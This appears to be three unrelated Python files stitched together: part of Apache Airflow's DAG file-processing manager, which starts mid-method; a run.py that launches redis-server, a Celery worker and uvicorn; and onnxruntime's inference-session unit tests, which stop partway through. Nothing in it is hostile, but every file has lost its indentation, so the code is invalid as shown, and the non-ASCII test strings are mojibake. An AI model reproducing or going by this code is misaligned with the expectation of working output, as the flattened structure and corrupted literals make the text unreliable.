self.log.info("Exiting dag parsing loop as all files "
"have been processed %s times", self._max_runs)
break
if self._async_mode:
loop_duration = time.time() - loop_start_time
if loop_duration < 1:
poll_time = 1 - loop_duration
else:
poll_time = 0.0
if self._refresh_dag_dir_interval > 0.0:
time.sleep(self._refresh_dag_dir_interval)
def _refresh_dag_dir(self):
"""
Refresh file paths from dag dir if we haven't done it for too long.
"""
now = timezone.utcnow()
elapsed_time_since_refresh = (now - self.last_dag_dir_refresh_time).total_seconds()
if elapsed_time_since_refresh > self.dag_dir_list_interval:
# Build up a list of Python files that could contain DAGs
self.log.info("Searching for files in %s", self._dag_directory)
self._file_paths = list_py_file_paths(self._dag_directory)
self.last_dag_dir_refresh_time = now
self.log.info("There are %s files in %s", len(self._file_paths), self._dag_directory)
self.set_file_paths(self._file_paths)
try:
self.log.debug("Removing old import errors")
self.clear_nonexistent_import_errors()
except Exception:
self.log.exception("Error removing old import errors")
if STORE_SERIALIZED_DAGS:
from airflow.models.serialized_dag import SerializedDagModel
from airflow.models.dag import DagModel
SerializedDagModel.remove_deleted_dags(self._file_paths)
DagModel.deactivate_deleted_dags(self._file_paths)
if conf.getboolean('core', 'store_dag_code', fallback=False):
from airflow.models.dagcode import DagCode
DagCode.remove_deleted_code(self._file_paths)
def _print_stat(self):
"""
Occasionally print out stats about how fast the files are getting processed
"""
if self.print_stats_interval > 0 and (
timezone.utcnow() -
self.last_stat_print_time).total_seconds() > self.print_stats_interval:
if self._file_paths:
self._log_file_processing_stats(self._file_paths)
self.last_stat_print_time = timezone.utcnow()
@provide_session
def clear_nonexistent_import_errors(self, session):
"""
Clears import errors for files that no longer exist.
:param session: session for ORM operations
:type session: sqlalchemy.orm.session.Session
"""
query = session.query(errors.ImportError)
if self._file_paths:
query = query.filter(
~errors.ImportError.filename.in_(self._file_paths)
)
query.delete(synchronize_session='fetch')
session.commit()
def _log_file_processing_stats(self, known_file_paths):
"""
Print out stats about how files are getting processed.
:param known_file_paths: a list of file paths that may contain Airflow
DAG definitions
:type known_file_paths: list[unicode]
:return: None
"""
# File Path: Path to the file containing the DAG definition
# PID: PID associated with the process that's processing the file. May
# be empty.
# Runtime: If the process is currently running, how long it's been
# running for in seconds.
# Last Runtime: If the process ran before, how long did it take to
# finish in seconds
# Last Run: When the file finished processing in the previous run.
headers = ["File Path",
"PID",
"Runtime",
"# DAGs",
"# Errors",
"Last Runtime",
"Last Run"]
rows = []
now = timezone.utcnow()
for file_path in known_file_paths:
last_runtime = self.get_last_runtime(file_path)
num_dags = self.get_last_dag_count(file_path)
num_errors = self.get_last_error_count(file_path)
file_name = os.path.basename(file_path)
file_name = os.path.splitext(file_name)[0].replace(os.sep, '.')
processor_pid = self.get_pid(file_path)
processor_start_time = self.get_start_time(file_path)
runtime = ((now - processor_start_time).total_seconds() if processor_start_time else None)
last_run = self.get_last_finish_time(file_path)
if last_run:
seconds_ago = (now - last_run).total_seconds()
Stats.gauge('dag_processing.last_run.seconds_ago.{}'.format(file_name), seconds_ago)
if runtime:
Stats.timing('dag_processing.last_duration.{}'.format(file_name), runtime)
# TODO: Remove before Airflow 2.0
Stats.timing('dag_processing.last_runtime.{}'.format(file_name), runtime)
rows.append((file_path,
processor_pid,
runtime,
num_dags,
num_errors,
last_runtime,
last_run))
# Sort by longest last runtime. (Can't sort None values in python3)
rows = sorted(rows, key=lambda x: x[3] or 0.0)
formatted_rows = []
for file_path, pid, runtime, num_dags, num_errors, last_runtime, last_run in rows:
formatted_rows.append((file_path,
pid,
"{:.2f}s".format(runtime) if runtime else None,
num_dags,
num_errors,
"{:.2f}s".format(last_runtime) if last_runtime else None,
last_run.strftime("%Y-%m-%dT%H:%M:%S") if last_run else None
))
log_str = ("\n" +
"=" * 80 +
"\n" +
"DAG File Processing Stats\n\n" +
tabulate(formatted_rows, headers=headers) +
"\n" +
"=" * 80)
self.log.info(log_str)
@property
def file_paths(self):
return self._file_paths
def get_pid(self, file_path):
"""
:param file_path: the path to the file that's being processed
:type file_path: unicode
:return: the PID of the process processing the given file or None if
the specified file is not being processed
:rtype: int
"""
if file_path in self._processors:
return self._processors[file_path].pid
return None
def get_all_pids(self):
"""
:return: a list of the PIDs for the processors that are running
:rtype: List[int]
"""
return [x.pid for x in self._processors.values()]
def get_last_runtime(self, file_path):
"""
:param file_path: the path to the file that was processed
:type file_path: unicode
:return: the runtime (in seconds) of the process of the last run, or
None if the file was never processed.
:rtype: float
"""
stat = self._file_stats.get(file_path)
return stat.last_duration if stat else None
def get_last_dag_count(self, file_path):
"""
:param file_path: the path to the file that was processed
:type file_path: unicode
:return: the number of dags loaded from that file, or None if the file
was never processed.
:rtype: int
"""
stat = self._file_stats.get(file_path)
return stat.num_dags if stat else None
def get_last_error_count(self, file_path):
"""
:param file_path: the path to the file that was processed
:type file_path: unicode
:return: the number of import errors from processing, or None if the file
was never processed.
:rtype: int
"""
stat = self._file_stats.get(file_path)
return stat.import_errors if stat else None
def get_last_finish_time(self, file_path):
"""
:param file_path: the path to the file that was processed
:type file_path: unicode
:return: the finish time of the process of the last run, or None if the
file was never processed.
:rtype: datetime
"""
stat = self._file_stats.get(file_path)
return stat.last_finish_time if stat else None
def get_start_time(self, file_path):
"""
:param file_path: the path to the file that's being processed
:type file_path: unicode
:return: the start time of the process that's processing the
specified file or None if the file is not currently being processed
:rtype: datetime
"""
if file_path in self._processors:
return self._processors[file_path].start_time
return None
def get_run_count(self, file_path):
"""
:param file_path: the path to the file that's being processed
:type file_path: unicode
:return: the number of times the given file has been parsed
:rtype: int
"""
stat = self._file_stats.get(file_path)
return stat.run_count if stat else 0
def set_file_paths(self, new_file_paths):
"""
Update this with a new set of paths to DAG definition files.
:param new_file_paths: list of paths to DAG definition files
:type new_file_paths: list[unicode]
:return: None
"""
self._file_paths = new_file_paths
self._file_path_queue = [x for x in self._file_path_queue
if x in new_file_paths]
# Stop processors that are working on deleted files
filtered_processors = {}
for file_path, processor in self._processors.items():
if file_path in new_file_paths:
filtered_processors[file_path] = processor
else:
self.log.warning("Stopping processor for %s", file_path)
Stats.decr('dag_processing.processes')
processor.terminate()
self._file_stats.pop(file_path)
self._processors = filtered_processors
def wait_until_finished(self):
"""
Sleeps until all the processors are done.
"""
for file_path, processor in self._processors.items():
while not processor.done:
time.sleep(0.1)
def collect_results(self):
"""
Collect the result from any finished DAG processors
:return: a list of SimpleDags that were produced by processors that
have finished since the last time this was called
:rtype: list[airflow.utils.dag_processing.SimpleDag]
"""
self._kill_timed_out_processors()
finished_processors = {}
""":type : dict[unicode, AbstractDagFileProcessor]"""
running_processors = {}
""":type : dict[unicode, AbstractDagFileProcessor]"""
for file_path, processor in self._processors.items():
if processor.done:
self.log.debug("Processor for %s finished", file_path)
Stats.decr('dag_processing.processes')
now = timezone.utcnow()
finished_processors[file_path] = processor
stat = DagFileStat(
len(processor.result[0]) if processor.result is not None else 0,
processor.result[1] if processor.result is not None else -1,
now,
(now - processor.start_time).total_seconds(),
self.get_run_count(file_path) + 1,
)
self._file_stats[file_path] = stat
else:
running_processors[file_path] = processor
self._processors = running_processors
self.log.debug("%s/%s DAG parsing processes running",
len(self._processors), self._parallelism)
self.log.debug("%s file paths queued for processing",
len(self._file_path_queue))
# Collect all the DAGs that were found in the processed files
simple_dags = []
self.log.debug("finished_processors %s ", len(finished_processors))
for file_path, processor in finished_processors.items():
if processor.result is None:
self.log.error(
"Processor for %s exited with return code %s.",
processor.file_path, processor.exit_code
)
else:
self.log.debug("result %s ", processor.result[0])
for simple_dag in processor.result[0]:
simple_dags.append(simple_dag)
self.log.debug("dags %s ", len(simple_dags))
return simple_dags
def heartbeat(self):
"""
This should be periodically called by the manager loop. This method will
kick off new processes to process DAG definition files and read the
results from the finished processors.
:return: a list of SimpleDags that were produced by processors that
have finished since the last time this was called
:rtype: list[airflow.utils.dag_processing.SimpleDag]
"""
simple_dags = self.collect_results()
# Generate more file paths to process if we processed all the files
# already.
if len(self._file_path_queue) == 0:
self.emit_metrics()
self._parsing_start_time = timezone.utcnow()
# If the file path is already being processed, or if a file was
# processed recently, wait until the next batch
file_paths_in_progress = self._processors.keys()
now = timezone.utcnow()
file_paths_recently_processed = []
for file_path in self._file_paths:
last_finish_time = self.get_last_finish_time(file_path)
self.log.debug("file path %s last_finish_time %s ", file_path, last_finish_time)
if (last_finish_time is not None and
(now - last_finish_time).total_seconds() <
self._file_process_interval):
file_paths_recently_processed.append(file_path)
files_paths_at_run_limit = [file_path
for file_path, stat in self._file_stats.items()
if stat.run_count == self._max_runs]
files_paths_to_queue = list(set(self._file_paths) -
set(file_paths_in_progress) -
set(file_paths_recently_processed) -
set(files_paths_at_run_limit))
for file_path, processor in self._processors.items():
self.log.debug(
"File path %s is still being processed (started: %s)",
processor.file_path, processor.start_time.isoformat()
)
self.log.debug(
"Queuing the following files for processing:\n\t%s",
"\n\t".join(files_paths_to_queue)
)
for file_path in files_paths_to_queue:
if file_path not in self._file_stats:
self._file_stats[file_path] = DagFileStat(0, 0, None, None, 0)
self._file_path_queue.extend(files_paths_to_queue)
# Start more processors if we have enough slots and files to process
while (self._parallelism - len(self._processors) > 0 and
len(self._file_path_queue) > 0):
file_path = self._file_path_queue.pop(0)
processor = self._processor_factory(file_path, self._zombies)
Stats.incr('dag_processing.processes')
processor.start()
self.log.debug(
"Started a process (PID: %s) to generate tasks for %s",
processor.pid, file_path
)
self._processors[file_path] = processor
# Update heartbeat count.
self._heartbeat_count += 1
return simple_dags
@provide_session
def _find_zombies(self, session):
"""
Find zombie task instances, which are tasks haven't heartbeated for too long
and update the current zombie list.
"""
now = timezone.utcnow()
zombies = []
if not self._last_zombie_query_time or \
(now - self._last_zombie_query_time).total_seconds() > self._zombie_query_interval:
# to avoid circular imports
from airflow.jobs import LocalTaskJob as LJ
self.log.info("Finding 'running' jobs without a recent heartbeat")
TI = airflow.models.TaskInstance
limit_dttm = timezone.utcnow() - timedelta(
seconds=self._zombie_threshold_secs)
self.log.info("Failing jobs without heartbeat after %s", limit_dttm)
tis = (
session.query(TI)
.join(LJ, TI.job_id == LJ.id)
.filter(TI.state == State.RUNNING)
.filter(
or_(
LJ.state != State.RUNNING,
LJ.latest_heartbeat < limit_dttm,
)
).all()
)
self._last_zombie_query_time = timezone.utcnow()
for ti in tis:
sti = SimpleTaskInstance(ti)
self.log.info(
"Detected zombie job with dag_id %s, task_id %s, and execution date %s",
sti.dag_id, sti.task_id, sti.execution_date.isoformat())
zombies.append(sti)
self._zombies = zombies
def _kill_timed_out_processors(self):
"""
Kill any file processors that timeout to defend against process hangs.
"""
now = timezone.utcnow()
for file_path, processor in self._processors.items():
duration = now - processor.start_time
if duration > self._processor_timeout:
self.log.error(
"Processor for %s with PID %s started at %s has timed out, "
"killing it.",
processor.file_path, processor.pid, processor.start_time.isoformat())
Stats.decr('dag_processing.processes')
Stats.incr('dag_processing.processor_timeouts')
# TODO: Remove ater Airflow 2.0
Stats.incr('dag_file_processor_timeouts')
processor.kill()
def max_runs_reached(self):
"""
:return: whether all file paths have been processed max_runs times
"""
if self._max_runs == -1: # Unlimited runs.
return False
for stat in self._file_stats.values():
if stat.run_count < self._max_runs:
return False
if self._heartbeat_count < self._max_runs:
return False
return True
def terminate(self):
"""
Stops all running processors
:return: None
"""
for processor in self._processors.values():
Stats.decr('dag_processing.processes')
processor.terminate()
def end(self):
"""
Kill all child processes on exit since we don't want to leave
them as orphaned.
"""
pids_to_kill = self.get_all_pids()
if len(pids_to_kill) > 0:
# First try SIGTERM
this_process = psutil.Process(os.getpid())
# Only check child processes to ensure that we don't have a case
# where we kill the wrong process because a child process died
# but the PID got reused.
child_processes = [x for x in this_process.children(recursive=True)
if x.is_running() and x.pid in pids_to_kill]
for child in child_processes:
self.log.info("Terminating child PID: %s", child.pid)
child.terminate()
# TODO: Remove magic number
timeout = 5
self.log.info("Waiting up to %s seconds for processes to exit...", timeout)
try:
psutil.wait_procs(
child_processes, timeout=timeout,
callback=lambda x: self.log.info('Terminated PID %s', x.pid))
except psutil.TimeoutExpired:
self.log.debug("Ran out of time while waiting for processes to exit")
# Then SIGKILL
child_processes = [x for x in this_process.children(recursive=True)
if x.is_running() and x.pid in pids_to_kill]
if len(child_processes) > 0:
self.log.info("SIGKILL processes that did not terminate gracefully")
for child in child_processes:
self.log.info("Killing child PID: %s", child.pid)
child.kill()
child.wait()
def emit_metrics(self):
"""
Emmit metrics about dag parsing summary
This is called once every time around the parsing "loop" - i.e. after
all files have been parsed.
"""
parse_time = (timezone.utcnow() - self._parsing_start_time).total_seconds()
Stats.gauge('dag_processing.total_parse_time', parse_time)
Stats.gauge('dagbag_size', sum(stat.num_dags for stat in self._file_stats.values()))
Stats.gauge('dag_processing.import_errors',
sum(stat.import_errors for stat in self._file_stats.values()))
# TODO: Remove before Airflow 2.0
Stats.gauge('collect_dags', parse_time)
Stats.gauge('dagbag_import_errors', sum(stat.import_errors for stat in self._file_stats.values()))
|
run.py
|
import threading
import uvicorn
from main import app
original_callback = uvicorn.main.callback
def callback(**kwargs):
from celery.contrib.testing.worker import start_worker
import tasks
with start_worker(tasks.task, perform_ping_check=False, loglevel="info"):
original_callback(**kwargs)
uvicorn.main.callback = callback
if __name__ == "__main__":
import os
import sys
# Execute redis-server
t = threading.Thread(target=os.system,args=('redis-server',))
t.start()
# uvicorn filename:app
sys.argv += ['main:app','--reload','--host=0.0.0.0','--port=3000']
uvicorn.main()
t.join()
|
onnxruntime_test_python.py
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# -*- coding: UTF-8 -*-
import unittest
import os
import numpy as np
import onnxruntime as onnxrt
import threading
class TestInferenceSession(unittest.TestCase):
def get_name(self, name):
if os.path.exists(name):
return name
rel = os.path.join("testdata", name)
if os.path.exists(rel):
return rel
this = os.path.dirname(__file__)
data = os.path.join(this, "..", "testdata")
res = os.path.join(data, name)
if os.path.exists(res):
return res
raise FileNotFoundError(
"Unable to find '{0}' or '{1}' or '{2}'".format(name, rel, res))
def run_model(self, session_object, run_options):
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
input_name = session_object.get_inputs()[0].name
res = session_object.run([], {input_name: x}, run_options=run_options)
output_expected = np.array(
[[1.0, 4.0], [9.0, 16.0], [25.0, 36.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testModelSerialization(self):
so = onnxrt.SessionOptions()
so.log_verbosity_level = 1
so.logid = "TestModelSerialization"
so.optimized_model_filepath = "./PythonApiTestOptimizedModel.onnx"
onnxrt.InferenceSession(self.get_name("mul_1.onnx"), sess_options=so)
self.assertTrue(os.path.isfile(so.optimized_model_filepath))
def testGetProviders(self):
self.assertTrue(
'CPUExecutionProvider' in onnxrt.get_available_providers())
self.assertTrue('CPUExecutionProvider' in onnxrt.get_all_providers())
sess = onnxrt.InferenceSession(self.get_name("mul_1.onnx"))
self.assertTrue('CPUExecutionProvider' in sess.get_providers())
def testSetProviders(self):
if 'CUDAExecutionProvider' in onnxrt.get_available_providers():
sess = onnxrt.InferenceSession(self.get_name("mul_1.onnx"))
# confirm that CUDA Provider is in list of registered providers.
self.assertTrue('CUDAExecutionProvider' in sess.get_providers())
# reset the session and register only CPU Provider.
sess.set_providers(['CPUExecutionProvider'])
# confirm only CPU Provider is registered now.
self.assertEqual(['CPUExecutionProvider'], sess.get_providers())
def testInvalidSetProviders(self):
with self.assertRaises(ValueError) as context:
sess = onnxrt.InferenceSession(self.get_name("mul_1.onnx"))
sess.set_providers(['InvalidProvider'])
self.assertTrue('[\'InvalidProvider\'] does not contain a subset of available providers' in str(
context.exception))
def testSessionProviders(self):
if 'CUDAExecutionProvider' in onnxrt.get_available_providers():
# create session from scratch, but constrain it to only use the CPU.
sess = onnxrt.InferenceSession(
self.get_name("mul_1.onnx"), providers=['CPUExecutionProvider'])
self.assertEqual(['CPUExecutionProvider'], sess.get_providers())
def testRunModel(self):
sess = onnxrt.InferenceSession(self.get_name("mul_1.onnx"))
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "X")
input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [3, 2])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [3, 2])
res = sess.run([output_name], {input_name: x})
output_expected = np.array(
[[1.0, 4.0], [9.0, 16.0], [25.0, 36.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testRunModelFromBytes(self):
with open(self.get_name("mul_1.onnx"), "rb") as f:
content = f.read()
sess = onnxrt.InferenceSession(content)
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "X")
input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [3, 2])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [3, 2])
res = sess.run([output_name], {input_name: x})
output_expected = np.array(
[[1.0, 4.0], [9.0, 16.0], [25.0, 36.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testRunModel2(self):
sess = onnxrt.InferenceSession(self.get_name("matmul_1.onnx"))
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "X")
input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [3, 2])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [3, 1])
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[5.0], [11.0], [17.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testRunModel2Contiguous(self):
sess = onnxrt.InferenceSession(self.get_name("matmul_1.onnx"))
x = np.array([[2.0, 1.0], [4.0, 3.0], [6.0, 5.0]], dtype=np.float32)[:,[1,0]]
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "X")
input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [3, 2])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [3, 1])
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[5.0], [11.0], [17.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
xcontiguous = np.ascontiguousarray(x)
rescontiguous = sess.run([output_name], {input_name: xcontiguous})
np.testing.assert_allclose(
output_expected, rescontiguous[0], rtol=1e-05, atol=1e-08)
def testRunModelMultipleThreads(self):
so = onnxrt.SessionOptions()
so.log_verbosity_level = 1
so.logid = "MultiThreadsTest"
sess = onnxrt.InferenceSession(
self.get_name("mul_1.onnx"), sess_options=so)
ro1 = onnxrt.RunOptions()
ro1.logid = "thread1"
t1 = threading.Thread(target=self.run_model, args=(sess, ro1))
ro2 = onnxrt.RunOptions()
ro2.logid = "thread2"
t2 = threading.Thread(target=self.run_model, args=(sess, ro2))
t1.start()
t2.start()
t1.join()
t2.join()
def testRunDevice(self):
device = onnxrt.get_device()
self.assertTrue('CPU' in device or 'GPU' in device)
def testRunModelSymbolicInput(self):
sess = onnxrt.InferenceSession(self.get_name("matmul_2.onnx"))
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "X")
input_shape = sess.get_inputs()[0].shape
# Input X has an unknown dimension.
self.assertEqual(input_shape, ['None', 2])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Y")
output_shape = sess.get_outputs()[0].shape
# Output X has an unknown dimension.
self.assertEqual(output_shape, ['None', 1])
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[5.0], [11.0], [17.0]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testBooleanInputs(self):
sess = onnxrt.InferenceSession(self.get_name("logicaland.onnx"))
a = np.array([[True, True], [False, False]], dtype=np.bool)
b = np.array([[True, False], [True, False]], dtype=np.bool)
# input1:0 is first in the protobuf, and input:0 is second
# and we maintain the original order.
a_name = sess.get_inputs()[0].name
self.assertEqual(a_name, "input1:0")
a_shape = sess.get_inputs()[0].shape
self.assertEqual(a_shape, [2, 2])
a_type = sess.get_inputs()[0].type
self.assertEqual(a_type, 'tensor(bool)')
b_name = sess.get_inputs()[1].name
self.assertEqual(b_name, "input:0")
b_shape = sess.get_inputs()[1].shape
self.assertEqual(b_shape, [2, 2])
b_type = sess.get_inputs()[0].type
self.assertEqual(b_type, 'tensor(bool)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(bool)')
output_expected = np.array(
[[True, False], [False, False]], dtype=np.bool)
res = sess.run([output_name], {a_name: a, b_name: b})
np.testing.assert_equal(output_expected, res[0])
def testStringInput1(self):
sess = onnxrt.InferenceSession(self.get_name("identity_string.onnx"))
x = np.array(['this', 'is', 'identity', 'test'],
dtype=np.str).reshape((2, 2))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "input:0")
x_shape = sess.get_inputs()[0].shape
self.assertEqual(x_shape, [2, 2])
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(string)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(string)')
res = sess.run([output_name], {x_name: x})
np.testing.assert_equal(x, res[0])
def testStringInput2(self):
sess = onnxrt.InferenceSession(self.get_name("identity_string.onnx"))
x = np.array(['Olรก', 'ไฝ ๅฅฝ', '์ฌ๋ณด์ธ์', 'hello'],
dtype=np.unicode).reshape((2, 2))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "input:0")
x_shape = sess.get_inputs()[0].shape
self.assertEqual(x_shape, [2, 2])
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(string)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(string)')
res = sess.run([output_name], {x_name: x})
np.testing.assert_equal(x, res[0])
def testInputBytes(self):
sess = onnxrt.InferenceSession(self.get_name("identity_string.onnx"))
x = np.array([b'this', b'is', b'identity', b'test']).reshape((2, 2))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "input:0")
x_shape = sess.get_inputs()[0].shape
self.assertEqual(x_shape, [2, 2])
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(string)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(string)')
res = sess.run([output_name], {x_name: x})
np.testing.assert_equal(x, res[0].astype('|S8'))
def testInputObject(self):
sess = onnxrt.InferenceSession(self.get_name("identity_string.onnx"))
x = np.array(['this', 'is', 'identity', 'test'],
object).reshape((2, 2))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "input:0")
x_shape = sess.get_inputs()[0].shape
self.assertEqual(x_shape, [2, 2])
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(string)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(string)')
res = sess.run([output_name], {x_name: x})
np.testing.assert_equal(x, res[0])
def testInputVoid(self):
sess = onnxrt.InferenceSession(self.get_name("identity_string.onnx"))
x = np.array([b'this', b'is', b'identity', b'test'],
np.void).reshape((2, 2))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "input:0")
x_shape = sess.get_inputs()[0].shape
self.assertEqual(x_shape, [2, 2])
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(string)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "output:0")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [2, 2])
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'tensor(string)')
res = sess.run([output_name], {x_name: x})
expr = np.array([['this\x00\x00\x00\x00', 'is\x00\x00\x00\x00\x00\x00'],
['identity', 'test\x00\x00\x00\x00']], dtype=object)
np.testing.assert_equal(expr, res[0])
def testZipMapStringFloat(self):
sess = onnxrt.InferenceSession(
self.get_name("zipmap_stringfloat.onnx"))
x = np.array([1.0, 0.0, 3.0, 44.0, 23.0, 11.0],
dtype=np.float32).reshape((2, 3))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "X")
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(float)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Z")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'seq(map(string,tensor(float)))')
output_expected = [{'class2': 0.0, 'class1': 1.0, 'class3': 3.0},
{'class2': 23.0, 'class1': 44.0, 'class3': 11.0}]
res = sess.run([output_name], {x_name: x})
self.assertEqual(output_expected, res[0])
def testZipMapInt64Float(self):
sess = onnxrt.InferenceSession(self.get_name("zipmap_int64float.onnx"))
x = np.array([1.0, 0.0, 3.0, 44.0, 23.0, 11.0],
dtype=np.float32).reshape((2, 3))
x_name = sess.get_inputs()[0].name
self.assertEqual(x_name, "X")
x_type = sess.get_inputs()[0].type
self.assertEqual(x_type, 'tensor(float)')
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "Z")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, 'seq(map(int64,tensor(float)))')
output_expected = [{10: 1.0, 20: 0.0, 30: 3.0},
{10: 44.0, 20: 23.0, 30: 11.0}]
res = sess.run([output_name], {x_name: x})
self.assertEqual(output_expected, res[0])
def testRaiseWrongNumInputs(self):
with self.assertRaises(ValueError) as context:
sess = onnxrt.InferenceSession(self.get_name("logicaland.onnx"))
a = np.array([[True, True], [False, False]], dtype=np.bool)
res = sess.run([], {'input:0': a})
self.assertTrue('Model requires 2 inputs' in str(context.exception))
def testModelMeta(self):
model_path = "../models/opset8/test_squeezenet/model.onnx"
if not os.path.exists(model_path):
return
sess = onnxrt.InferenceSession(model_path)
modelmeta = sess.get_modelmeta()
self.assertEqual('onnx-caffe2', modelmeta.producer_name)
self.assertEqual('squeezenet_old', modelmeta.graph_name)
self.assertEqual('', modelmeta.domain)
self.assertEqual('', modelmeta.description)
def testProfilerWithSessionOptions(self):
so = onnxrt.SessionOptions()
so.enable_profiling = True
sess = onnxrt.InferenceSession(
self.get_name("mul_1.onnx"), sess_options=so)
x = np.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=np.float32)
sess.run([], {'X': x})
profile_file = sess.end_profiling()
tags = ['pid', 'dur', 'ts', 'ph', 'X', 'name', 'args']
with open(profile_file) as f:
lines = f.readlines()
self.assertTrue('[' in lines[0])
for i in range(1, 8):
for tag in tags:
self.assertTrue(tag in lines[i])
self.assertTrue(']' in lines[8])
def testDictVectorizer(self):
sess = onnxrt.InferenceSession(
self.get_name("pipeline_vectorize.onnx"))
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "float_input")
input_type = str(sess.get_inputs()[0].type)
self.assertEqual(input_type, "map(int64,tensor(float))")
input_shape = sess.get_inputs()[0].shape
self.assertEqual(input_shape, [])
output_name = sess.get_outputs()[0].name
self.assertEqual(output_name, "variable1")
output_type = sess.get_outputs()[0].type
self.assertEqual(output_type, "tensor(float)")
output_shape = sess.get_outputs()[0].shape
self.assertEqual(output_shape, [1, 1])
# Python type
x = {0: 25.0, 1: 5.13, 2: 0.0, 3: 0.453, 4: 5.966}
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[49.752754]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
xwrong = x.copy()
xwrong["a"] = 5.6
try:
res = sess.run([output_name], {input_name: xwrong})
except RuntimeError as e:
self.assertIn(
"Unexpected key type <class 'str'>, it cannot be linked to C type int64_t", str(e))
# numpy type
x = {np.int64(k): np.float32(v) for k, v in x.items()}
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[49.752754]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
x = {np.int64(k): np.float64(v) for k, v in x.items()}
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[49.752754]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
x = {np.int32(k): np.float64(v) for k, v in x.items()}
res = sess.run([output_name], {input_name: x})
output_expected = np.array([[49.752754]], dtype=np.float32)
np.testing.assert_allclose(
output_expected, res[0], rtol=1e-05, atol=1e-08)
def testLabelEncoder(self):
sess = onnxrt.InferenceSession(self.get_name("LabelEncoder.onnx"))
input_name = sess.get_inputs()[0].name
self.assertEqual(input_name, "input")
input_type = str(sess.get_inputs()[0].type)
self.assertEqual(input_type, "tensor(string)")
